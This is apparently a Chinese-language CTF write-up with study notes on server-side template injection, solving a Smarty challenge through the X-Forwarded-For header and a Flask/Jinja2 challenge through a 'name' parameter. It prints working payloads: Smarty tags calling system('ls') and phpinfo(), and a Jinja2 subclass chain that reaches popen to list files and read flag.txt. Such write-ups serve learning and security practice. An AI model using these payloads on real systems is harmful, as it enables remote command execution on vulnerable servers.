文章目录
- 学习文章
- [CISCN2019 华东南赛区]Web11【存疑】
- [RootersCTF2019]I_<3_Flask
学习文章
SSTI-服务端模板注入漏洞
flask之ssti模板注入从零到入门
CTFSHOW SSTI篇-yu22x
SSTI模板注入绕过(进阶篇)-yu22x
SSTI模板注入学习-竹言笙熙
全部总结看最后一篇
[CISCN2019 华东南赛区]Web11【存疑】
Smarty 模板注入与沙箱逃逸-长亭科技
发现能显示ip地址,没有其他传参的地方,应该在xff头
自定义xff头,尝试模板注入
但是构造获取类会出错
又查了查,有特性
Smarty支持使用{php}{/php}标签来执行被包裹其中的php指令
Smarty 是一个用于 PHP 的模板引擎,它允许开发者将动态生成的内容与静态 HTML 分离,以提高代码的可维护性和可读性。在 Smarty 模板中,通常不直接执行 PHP 代码,而是使用 Smarty 提供的一些特定的语法和功能来代替。
Smarty 模板中执行 PHP 语句的一种常见方式是使用 {php} 标签。但是需要注意的是,从 Smarty3 开始,{php} 标签已经被废弃,并不建议使用,因为它会导致模板与业务逻辑的耦合度增加,降低模板的可维护性。
{php}
// PHP 代码
$name = 'John';
echo "Hello, $name!";
{/php}
看了很多篇博客没说清楚为什么直接能{system('ls')}
命令执行,所以请看文章开头长亭的smarty模板注入原理
漏洞产生语句类似
$smarty->display("string:". $name);
{$smarty.version}
返回smarty版本
好吧我还是没看懂为什么{phpinfo()}
能执行
[RootersCTF2019]I_❤️_Flask
页面卡,翻一下快一点
git clone https://github.com/s0md3v/Arjun
工具可扫到name
参数
尝试name参数处ssti
# 查看基类类
?name={{().__class__.__base__}}
# 查看子类
{{().__class__.__base__.__subclasses__()}}
# 寻找os
# 触发连招
{{().__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('ls').read()}}
# 读取flag.txt
{{().__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('cat flag.txt').read()}}